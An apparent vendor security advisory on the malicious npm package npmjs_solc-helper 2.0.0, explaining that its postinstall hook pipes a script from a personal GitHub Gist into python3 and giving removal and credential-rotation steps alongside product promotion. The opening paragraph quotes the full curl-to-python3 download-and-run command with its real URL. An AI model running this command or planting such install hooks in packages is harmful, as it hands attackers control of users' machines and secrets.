npmjs_solc-helpernpm
Malicious code in npmjs_solc-helper (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package.json defines a postinstall lifecycle hook that invokes child_process.exec to run curl -s https://gist.githubusercontent.com/guellemilb/631fb6348967d9d475125edf67048c0e/raw/build_utils.py | python3, with a wget fallback to the same Gist. On npm install, the package downloads an attacker-controlled Python script from an anonymous personal GitHub Gist and pipes it directly to python3 with no version pinning, hash verification, or integrity check. The Gist is hosted by an individual account (guellemilb) unrelated to any established publisher, is mutable (the author can swap the payload at any time), and the fetched content is executed outside the Node ecosystem to evade Node-based scanners. The package's name suggests a Solidity compiler helper, which has no legitimate need to pull and run arbitrary Python from a personal Gist at install time. This is a canonical install-time remote-code-execution dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'npmjs_solc-helper' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for npmjs_solc-helper (version 2.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging npmjs_solc-helper across your stack and pipelines.
If you installed it — respond
Remove npmjs_solc-helper from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If npmjs_solc-helper was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks npmjs_solc-helper before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks npmjs_solc-helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.